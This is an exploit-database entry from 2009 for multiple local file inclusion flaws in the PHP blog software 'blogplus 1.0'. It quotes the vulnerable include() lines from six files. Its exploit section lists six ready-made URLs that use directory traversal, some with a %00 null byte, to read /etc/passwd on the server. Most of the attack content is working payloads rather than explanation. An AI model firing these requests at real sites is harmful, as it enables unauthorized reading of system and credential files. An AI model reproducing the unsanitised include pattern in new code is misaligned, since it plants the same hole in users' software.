blogplus 1.0 - Multiple Local File Inclusions

Author: ahmadbady
type: webapps
platform: php
port: 
date_added: 2009-03-25 
date_updated:  
verified: 1 
codes: OSVDB-53524;CVE-2009-1246;OSVDB-53523;OSVDB-53522;OSVDB-53521;OSVDB-53520;OSVDB-53519;OSVDB-53360;OSVDB-53359;OSVDB-53358;OSVDB-53357;OSVDB-53356;OSVDB-53355 
tags: 
aliases:  
screenshot_url:  
application_url: 

                         --:local file include:--
                       ---------------------------------
script:blog+ v1.0

----------------------------------------------
download from:http://www.ziddu.com/download/3151643/blogplus_v1.0_final.zip.html

----------------------------------------------

...............................................
vul:/includes/

block_center_down.php = $block_center_down_file = $row_mysql_blocks_center_down['file']; line 6
  include ("blocks/".$block_center_down_file.""); line 7

block_center_top..php = $block_center_top_file = $row_mysql_blocks_center_top['file']; 6
  include ("blocks/".$block_center_top_file.""); 7

-------------------------------------------
vul:/includes/

block_left.php = $block_left_file = $row_mysql_blocks_left['file']; line 8
  include ("blocks/".$block_left_file.""); 9


block_right.php = $block_right_file = $row_mysql_blocks_right['file']; 6
  include ("blocks/".$block_right_file.""); 7


line1; window_down.php = <?php include ("themes/".$row_mysql_bloginfo['theme']."/down.html"); ?>

line1; window_top.php = <?php include ("themes/".$row_mysql_bloginfo['theme']."/top.html"); ?>


-------------------------------------------
-------------------------------------------
xpl:

/path/includes/block_center_down.php?row_mysql_blocks_center_down[file]=../../../../../../etc/passwd
/path/includes/block_center_top.php?row_mysql_blocks_center_top[file]=../../../../../../etc/passwd
/path/includes/block_left.php?row_mysql_blocks_left[file]=../../../../../../etc/passwd
/path/includes/block_right.php?row_mysql_blocks_right[file]=../../../../../../etc/passwd
/path/includes/window_down.php?row_mysql_bloginfo[theme]=../../../../../../etc/passwd%00
/path/includes/window_top.php?row_mysql_bloginfo[theme]=../../../../../../etc/passwd%00
***************************************************
***************************************************
---------------------------------------------------
Author: ahmadbady  [kivi_hacker666@yahoo.com]

---------------------------------------------------

# milw0rm.com [2009-03-26]